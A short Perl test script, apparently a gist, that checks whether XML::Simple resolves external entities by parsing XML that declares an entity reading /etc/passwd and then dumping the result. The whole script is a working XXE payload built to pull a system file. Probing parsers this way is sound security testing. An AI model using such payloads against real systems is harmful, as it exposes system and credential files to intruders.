XXE Test

gistfile1.pl

#!perl
use strict;
use XML::Simple;
use Data::Dumper;

my $ref = XMLin(<<'END');
<?xml version="1.0"?>
<!DOCTYPE str [
<!ENTITY pass SYSTEM "/etc/passwd">
]>
<str><data1>&pass;</data1><data2></data2></str>
END

warn Dumper $ref;